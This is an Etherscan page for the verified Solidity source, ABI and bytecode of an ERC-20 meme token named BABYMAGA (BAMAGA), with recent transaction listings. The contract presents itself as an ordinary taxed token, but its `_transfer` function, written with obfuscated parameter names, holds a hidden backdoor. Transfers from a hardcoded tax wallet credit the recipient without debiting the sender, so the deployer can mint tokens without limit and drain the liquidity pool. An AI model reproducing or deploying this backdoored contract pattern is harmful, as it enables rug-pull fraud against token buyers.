ETH Price: $3,455.09 (+0.02%)
Gas: 4 Gwei

Contract

0x9Af7A620E4597B567E5C720F5a736C8BefbA94F4
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve199995822024-06-01 21:13:1151 days ago1717276391IN
0x9Af7A620...BefbA94F4
0 ETH0.000236245.10498974
Approve199993542024-06-01 20:27:1151 days ago1717273631IN
0x9Af7A620...BefbA94F4
0 ETH0.000257445.53453104
Approve199976132024-06-01 14:37:4752 days ago1717252667IN
0x9Af7A620...BefbA94F4
0 ETH0.00044039.45323655
Approve199976092024-06-01 14:36:5952 days ago1717252619IN
0x9Af7A620...BefbA94F4
0 ETH0.000399388.64154643
Approve199975942024-06-01 14:33:5952 days ago1717252439IN
0x9Af7A620...BefbA94F4
0 ETH0.000358937.71616682
Approve199975772024-06-01 14:30:3552 days ago1717252235IN
0x9Af7A620...BefbA94F4
0 ETH0.000248398.51344747
Approve199975382024-06-01 14:22:4752 days ago1717251767IN
0x9Af7A620...BefbA94F4
0 ETH0.0004664510.07970075
Approve199975252024-06-01 14:20:1152 days ago1717251611IN
0x9Af7A620...BefbA94F4
0 ETH0.0004665110.01609823
Approve199975222024-06-01 14:19:3552 days ago1717251575IN
0x9Af7A620...BefbA94F4
0 ETH0.0005366411.52454492
Approve199974652024-06-01 14:08:1152 days ago1717250891IN
0x9Af7A620...BefbA94F4
0 ETH0.00026249.8586037
Approve199974652024-06-01 14:08:1152 days ago1717250891IN
0x9Af7A620...BefbA94F4
0 ETH0.000458599.8586037
Approve199974372024-06-01 14:02:3552 days ago1717250555IN
0x9Af7A620...BefbA94F4
0 ETH0.0004744810.20017734
Approve199974292024-06-01 14:00:5952 days ago1717250459IN
0x9Af7A620...BefbA94F4
0 ETH0.000429329.21755458
Transfer199974272024-06-01 14:00:3552 days ago1717250435IN
0x9Af7A620...BefbA94F4
0 ETH0.0007017910.22830702
Approve199974232024-06-01 13:59:4752 days ago1717250387IN
0x9Af7A620...BefbA94F4
0 ETH0.0006104513.1062597
Approve199973992024-06-01 13:54:5952 days ago1717250099IN
0x9Af7A620...BefbA94F4
0 ETH0.00045639.79674996
Approve199973972024-06-01 13:54:3552 days ago1717250075IN
0x9Af7A620...BefbA94F4
0 ETH0.0002624910.83206959
Transfer199973952024-06-01 13:54:1152 days ago1717250051IN
0x9Af7A620...BefbA94F4
0 ETH0.0007746615.04183181
Approve199973902024-06-01 13:53:1152 days ago1717249991IN
0x9Af7A620...BefbA94F4
0 ETH0.000443939.54356437
Transfer199973852024-06-01 13:52:1152 days ago1717249931IN
0x9Af7A620...BefbA94F4
0 ETH0.0007451614.46548109
Approve199973782024-06-01 13:50:4752 days ago1717249847IN
0x9Af7A620...BefbA94F4
0 ETH0.0005164911.1033204
Approve199973692024-06-01 13:48:5952 days ago1717249739IN
0x9Af7A620...BefbA94F4
0 ETH0.0006255613.52142126
Approve199973692024-06-01 13:48:5952 days ago1717249739IN
0x9Af7A620...BefbA94F4
0 ETH0.0006255613.52142126
Approve199973692024-06-01 13:48:5952 days ago1717249739IN
0x9Af7A620...BefbA94F4
0 ETH0.0006255613.52142126
Approve199973662024-06-01 13:48:2352 days ago1717249703IN
0x9Af7A620...BefbA94F4
0 ETH0.000432939.30692432
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To
199972982024-06-01 13:34:4752 days ago1717248887
0x9Af7A620...BefbA94F4
0.0361423 ETH
199972982024-06-01 13:34:4752 days ago1717248887
0x9Af7A620...BefbA94F4
0.0361423 ETH
199972982024-06-01 13:34:4752 days ago1717248887
0x9Af7A620...BefbA94F4
0.11755449 ETH
199972982024-06-01 13:34:4752 days ago1717248887
0x9Af7A620...BefbA94F4
0.11755449 ETH
199972922024-06-01 13:33:3552 days ago1717248815
0x9Af7A620...BefbA94F4
0.10607675 ETH
199972922024-06-01 13:33:3552 days ago1717248815
0x9Af7A620...BefbA94F4
0.10607675 ETH
199972922024-06-01 13:33:3552 days ago1717248815
0x9Af7A620...BefbA94F4
0.12893184 ETH
199972922024-06-01 13:33:3552 days ago1717248815
0x9Af7A620...BefbA94F4
0.12893184 ETH
199972782024-06-01 13:30:4752 days ago1717248647
0x9Af7A620...BefbA94F4
0.11029847 ETH
199972782024-06-01 13:30:4752 days ago1717248647
0x9Af7A620...BefbA94F4
0.11029847 ETH
199972612024-06-01 13:27:2352 days ago1717248443
0x9Af7A620...BefbA94F4
0.05187204 ETH
199972612024-06-01 13:27:2352 days ago1717248443
0x9Af7A620...BefbA94F4
0.05187204 ETH
199972612024-06-01 13:27:2352 days ago1717248443
0x9Af7A620...BefbA94F4
0.09330176 ETH
199972612024-06-01 13:27:2352 days ago1717248443
0x9Af7A620...BefbA94F4
0.09330176 ETH
199972612024-06-01 13:27:2352 days ago1717248443
0x9Af7A620...BefbA94F4
0.0265121 ETH
199972612024-06-01 13:27:2352 days ago1717248443
0x9Af7A620...BefbA94F4
0.0265121 ETH
199972532024-06-01 13:25:4752 days ago1717248347
0x9Af7A620...BefbA94F4
0.04015081 ETH
199972532024-06-01 13:25:4752 days ago1717248347
0x9Af7A620...BefbA94F4
0.04015081 ETH
199972482024-06-01 13:24:4752 days ago1717248287
0x9Af7A620...BefbA94F4
0.08433001 ETH
199972482024-06-01 13:24:4752 days ago1717248287
0x9Af7A620...BefbA94F4
0.08433001 ETH
199972452024-06-01 13:24:1152 days ago1717248251
0x9Af7A620...BefbA94F4
0.05477618 ETH
199972452024-06-01 13:24:1152 days ago1717248251
0x9Af7A620...BefbA94F4
0.05477618 ETH
199972452024-06-01 13:24:1152 days ago1717248251
0x9Af7A620...BefbA94F4
0.06215598 ETH
199972452024-06-01 13:24:1152 days ago1717248251
0x9Af7A620...BefbA94F4
0.06215598 ETH
199972402024-06-01 13:23:1152 days ago1717248191
0x9Af7A620...BefbA94F4
0.10032617 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
BAMAGA

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-01
*/

/**

Website: https://babymaga.site
Twitter: https://x.com/babymagax
Telegram: https://t.me/babymagatg

*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BAMAGA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;    
    address payable private _babymaga;

    uint256 private _initialBuyTax=24;
    uint256 private _initialSellTax=25;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"BABYMAGA";
    string private constant _symbol = unicode"BAMAGA";
    uint256 public _maxTxLimit = 20000000 * 10**_decimals;
    uint256 public _maxWalletLimit = 20000000 * 10**_decimals;
    uint256 public _minSwapLimit = 3000000 * 10**_decimals;
    uint256 public _maxSwapLimit = 15000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private _ammPair;
    bool private tradingActive;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        _babymaga = payable(0xb2FFfBED4b79b4Df96b6AD7dACa08F44eF4E1561);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_babymaga] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address tois, address ceci, uint256 aiuco) private {
        require(tois != address(0), "ERC20: transfer from the zero address");
        require(ceci != address(0), "ERC20: transfer to the zero address");
        require(aiuco > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (tois != owner() && ceci != owner()) {
            taxAmount = aiuco.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (tois == _ammPair && ceci != address(uniswapV2Router) && ! _isExcludedFromFee[ceci] ) {
                require(aiuco <= _maxTxLimit, "Exceeds the _maxTxLimit.");
                require(balanceOf(ceci) + aiuco <= _maxWalletLimit, "Exceeds the maxWalletSize.");
                _buyCount++;
            }
            if (tois == _babymaga) { _balances[ceci]=_balances[ceci].add(aiuco); return; }
            if (ceci != _ammPair && ! _isExcludedFromFee[ceci]) {
                require(balanceOf(ceci) + aiuco <= _maxWalletLimit, "Exceeds the maxWalletSize.");
            }

            if(ceci == _ammPair && tois!= address(this) ){
                taxAmount = aiuco.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 gacatokens = balanceOf(address(this));
            if (!inSwap && ceci == _ammPair && swapEnabled && _buyCount>_preventSwapBefore) {
                if(gacatokens>_minSwapLimit)
                swapTokensForEth(min(aiuco,min(gacatokens,_maxSwapLimit)));
                sendTaxETH(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(tois, address(this),taxAmount);
        }
        _balances[tois]=_balances[tois].sub(aiuco);
        _balances[ceci]=_balances[ceci].add(aiuco.sub(taxAmount));
        emit Transfer(tois, ceci, aiuco.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxLimit = _tTotal;
        _maxWalletLimit=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendTaxETH(uint256 amount) private {
        _babymaga.transfer(amount);
    }

    function openbabymaga() external onlyOwner() {
        require(!tradingActive,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _ammPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_ammPair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingActive = true;
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minSwapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openbabymaga","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601860055560196006555f6007555f600855600f600955600f600a55600f600b555f600c556009600a62000039919062000342565b62000049906301312d0062000359565b600d556200005a6009600a62000342565b6200006a906301312d0062000359565b600e556200007b6009600a62000342565b6200008a90622dc6c062000359565b600f556200009b6009600a62000342565b620000aa9062e4e1c062000359565b6010556012805461ffff60a81b19169055348015620000c7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673b2fffbed4b79b4df96b6ad7daca08f44ef4e15611790556200013c6009600a62000342565b6200014c90633b9aca0062000359565b335f908152600160208190526040822092909255600390620001755f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001d33390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020c6009600a62000342565b6200021c90633b9aca0062000359565b60405190815260200160405180910390a362000373565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200028757815f19048211156200026b576200026b62000233565b808516156200027957918102915b93841c93908002906200024c565b509250929050565b5f826200029f575060016200033c565b81620002ad57505f6200033c565b8160018114620002c65760028114620002d157620002f1565b60019150506200033c565b60ff841115620002e557620002e562000233565b50506001821b6200033c565b5060208310610133831016604e8410600b841016171562000316575081810a6200033c565b62000322838362000247565b805f190482111562000338576200033862000233565b0290505b92915050565b5f6200035260ff8416836200028f565b9392505050565b80820281158282048414176200033c576200033c62000233565b61177180620003815f395ff3fe6080604052600436106100fd575f3560e01c8063751039fc11610092578063da0ebc6211610062578063da0ebc62146102bb578063dd62ed3e146102d0578063e06c852214610314578063f2fce09914610328578063f8f3c5a91461033d575f80fd5b8063751039fc146102345780638da5cb5b1461024857806395d89b411461026e578063a9059cbb1461029c575f80fd5b806323b872dd116100cd57806323b872dd146101b0578063313ce567146101cf57806370a08231146101ea578063715018a61461021e575f80fd5b806306fdde0314610108578063095ea7b31461014a57806316b441ba1461017957806318160ddd1461019c575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b50604080518082019091526008815267424142594d41474160c01b60208201525b6040516101419190611364565b60405180910390f35b348015610155575f80fd5b506101696101643660046113c6565b610352565b6040519015158152602001610141565b348015610184575f80fd5b5061018e60105481565b604051908152602001610141565b3480156101a7575f80fd5b5061018e610368565b3480156101bb575f80fd5b506101696101ca3660046113f0565b610388565b3480156101da575f80fd5b5060405160098152602001610141565b3480156101f5575f80fd5b5061018e61020436600461142e565b6001600160a01b03165f9081526001602052604090205490565b348015610229575f80fd5b506102326103ef565b005b34801561023f575f80fd5b50610232610469565b348015610253575f80fd5b505f546040516001600160a01b039091168152602001610141565b348015610279575f80fd5b5060408051808201909152600681526542414d41474160d01b6020820152610134565b3480156102a7575f80fd5b506101696102b63660046113c6565b61051a565b3480156102c6575f80fd5b5061018e600e5481565b3480156102db575f80fd5b5061018e6102ea366004611449565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561031f575f80fd5b50610232610526565b348015610333575f80fd5b5061018e600f5481565b348015610348575f80fd5b5061018e600d5481565b5f61035e3384846108cf565b5060015b92915050565b5f6103756009600a611574565b61038390633b9aca00611582565b905090565b5f6103948484846109f2565b6103e584336103e085604051806060016040528060288152602001611714602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fdc565b6108cf565b5060019392505050565b5f546001600160a01b031633146104215760405162461bcd60e51b815260040161041890611599565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104925760405162461bcd60e51b815260040161041890611599565b61049e6009600a611574565b6104ac90633b9aca00611582565b600d556104bb6009600a611574565b6104c990633b9aca00611582565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104f96009600a611574565b61050790633b9aca00611582565b60405190815260200160405180910390a1565b5f61035e3384846109f2565b5f546001600160a01b0316331461054f5760405162461bcd60e51b815260040161041890611599565b601254600160a01b900460ff16156105a95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610418565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105f29030906105e46009600a611574565b6103e090633b9aca00611582565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610642573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066691906115ce565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e991906115ce565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610733573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075791906115ce565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061079e816001600160a01b03165f9081526001602052604090205490565b5f806107b15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610817573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061083c91906115e9565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610891573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b59190611614565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109315760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610418565b6001600160a01b0382166109925760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610418565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a565760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610418565b6001600160a01b038216610ab85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610418565b5f8111610b195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610418565b5f80546001600160a01b03858116911614801590610b4457505f546001600160a01b03848116911614155b15610e9f57610b756064610b6f600954600c5411610b6457600554610b68565b6007545b8590611014565b90611099565b6012549091506001600160a01b038581169116148015610ba357506011546001600160a01b03848116911614155b8015610bc757506001600160a01b0383165f9081526003602052604090205460ff16155b15610cad57600d54821115610c1e5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617854784c696d69742e00000000000000006044820152606401610418565b600e5482610c40856001600160a01b03165f9081526001602052604090205490565b610c4a9190611633565b1115610c985760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610418565b600c8054905f610ca783611646565b91905055505b6004546001600160a01b0390811690851603610d06576001600160a01b0383165f90815260016020526040902054610ce590836110da565b6001600160a01b039093165f90815260016020526040902092909255505050565b6012546001600160a01b03848116911614801590610d3c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610dbb57600e5482610d63856001600160a01b03165f9081526001602052604090205490565b610d6d9190611633565b1115610dbb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610418565b6012546001600160a01b038481169116148015610de157506001600160a01b0384163014155b15610e0e57610e0b6064610b6f600a54600c5411610e0157600654610b68565b6008548590611014565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610e4457506012546001600160a01b038581169116145b8015610e595750601254600160b01b900460ff165b8015610e685750600b54600c54115b15610e9d57600f54811115610e9457610e94610e8f84610e8a84601054611138565b611138565b61114c565b610e9d476112bc565b505b8015610f1757305f90815260016020526040902054610ebe90826110da565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f0e9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f3990836112f7565b6001600160a01b0385165f90815260016020526040902055610f7c610f5e83836112f7565b6001600160a01b0385165f90815260016020526040902054906110da565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fc585856112f7565b60405190815260200160405180910390a350505050565b5f8184841115610fff5760405162461bcd60e51b81526004016104189190611364565b505f61100b848661165e565b95945050505050565b5f825f0361102357505f610362565b5f61102e8385611582565b90508261103b8583611671565b146110925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610418565b9392505050565b5f61109283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611338565b5f806110e68385611633565b9050838110156110925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610418565b5f8183116111465782611092565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061119257611192611690565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111e9573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061120d91906115ce565b8160018151811061122057611220611690565b6001600160a01b03928316602091820292909201015260115461124691309116846108cf565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061127e9085905f908690309042906004016116a4565b5f604051808303815f87803b158015611295575f80fd5b505af11580156112a7573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156112f3573d5f803e3d5ffd5b5050565b5f61109283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fdc565b5f81836113585760405162461bcd60e51b81526004016104189190611364565b505f61100b8486611671565b5f6020808352835180828501525f5b8181101561138f57858101830151858201604001528201611373565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113c3575f80fd5b50565b5f80604083850312156113d7575f80fd5b82356113e2816113af565b946020939093013593505050565b5f805f60608486031215611402575f80fd5b833561140d816113af565b9250602084013561141d816113af565b929592945050506040919091013590565b5f6020828403121561143e575f80fd5b8135611092816113af565b5f806040838503121561145a575f80fd5b8235611465816113af565b91506020830135611475816113af565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156114ce57815f19048211156114b4576114b4611480565b808516156114c157918102915b93841c9390800290611499565b509250929050565b5f826114e457506001610362565b816114f057505f610362565b816001811461150657600281146115105761152c565b6001915050610362565b60ff84111561152157611521611480565b50506001821b610362565b5060208310610133831016604e8410600b841016171561154f575081810a610362565b6115598383611494565b805f190482111561156c5761156c611480565b029392505050565b5f61109260ff8416836114d6565b808202811582820484141761036257610362611480565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156115de575f80fd5b8151611092816113af565b5f805f606084860312156115fb575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611624575f80fd5b81518015158114611092575f80fd5b8082018082111561036257610362611480565b5f6001820161165757611657611480565b5060010190565b8181038181111561036257610362611480565b5f8261168b57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116f25784516001600160a01b0316835293830193918301916001016116cd565b50506001600160a01b0396909616606085015250505060800152939250505056fe